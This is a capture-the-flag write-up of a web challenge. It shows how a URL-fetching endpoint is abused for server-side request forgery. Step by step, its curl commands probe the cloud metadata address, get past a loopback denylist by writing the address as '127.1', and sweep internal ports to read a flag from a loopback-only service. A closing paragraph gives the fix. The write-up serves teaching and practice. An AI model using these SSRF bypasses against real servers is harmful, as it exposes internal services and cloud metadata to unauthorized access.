Inside Job: Web
What the challenge was
A dispatch console with a URL fetcher. The page sent JSON such as {"url": "..."} to /api/fetch and rendered the fetched headers and preview. The surrounding text stressed things meant to stay inside and files already in place, which pointed at server-side fetching as the entry path.
Initial recon
The fetcher was tested with a public address:
ffcurl -s -X POST -H 'Content-Type: application/json' -d '{"url":"http://example.com/"}' http://54.72.82.22:8080/api/fetch{"status_code":200,"preview":"<!doctype html>...Example Domain...</html>\n",...}External fetching worked. Loopback was then attempted directly:
ffcurl -s -X POST -H 'Content-Type: application/json' -d '{"url":"http://127.0.0.1/"}' http://54.72.82.22:8080/api/fetch{"error":"url blocked by policy"}The same occurred for localhost, so a denylist was in place. A metadata address was not denied:
ffcurl -s -X POST -H 'Content-Type: application/json' -d '{"url":"http://169.254.169.254/"}' http://54.72.82.22:8080/api/fetchThat returned metadata content, confirming both that the server performed the fetch and that the policy was string-based rather than a full network guard.
The path
Numeric and shorthand loopback forms were tested, since these usually evade naive substring checks. The 127.1, decimal, and hex forms were not blocked by policy; they failed only when nothing was listening on the probed port, which showed the request was actually being issued:
ffcurl -s -X POST -H 'Content-Type: application/json' -d '{"url":"http://127.1/"}' http://54.72.82.22:8080/api/fetch{"error":"fetch error: HTTPConnectionPool(host='127.1', port=80)..."}Common internal ports were then swept through that bypass. Port 8000 returned the same dispatch page, the application itself, and most ports refused. Port 9000 stood out with a different server banner:
ffcurl -s -X POST -H 'Content-Type: application/json' -d '{"url":"http://127.1:9000/"}' http://54.72.82.22:8080/api/fetch{"headers":{"Server":"BaseHTTP/0.6 Python/3.11.16"},"preview":"Not found","status_code":404}A separate internal HTTP service was listening only on loopback. Probing its paths, /flag answered:
ffcurl -s -X POST -H 'Content-Type: application/json' -d '{"url":"http://127.1:9000/flag"}' http://54.72.82.22:8080/api/fetch{"headers":{"Content-Type":"text/plain; charset=utf-8","Server":"BaseHTTP/0.6 Python/3.11.16"},"preview":"safctf{9f3a458f3a26e6372b5b5467e3e51edf}","status_code":200}The exploit
The 127.0.0.1 / localhost denylist is bypassed with the equivalent 127.1, which reaches the loopback-only service:
ffcurl -s -X POST -H 'Content-Type: application/json' -d '{"url":"http://127.1:9000/flag"}' http://54.72.82.22:8080/api/fetchResponse:
{"preview":"safctf{9f3a458f3a26e6372b5b5467e3e51edf}","status_code":200}No file read or cloud-credential path was required. The fetcher served as the proxy into the internal network, and the internal /flag route held the secret.
The flag
safctf{9f3a458f3a26e6372b5b5467e3e51edf}Notes on method
The early blocked responses were useful because they distinguish policy denial from connection failure. Once 127.1 produced a connection error instead of a policy error, the remainder was port enumeration. Treating that difference as the signal and proceeding directly to internal ports is the efficient ordering. The fix is to deny by resolved address range rather than by substring, to forbid loopback and link-local destinations at the egress layer, and to require authentication on internal services even when bound to loopback.
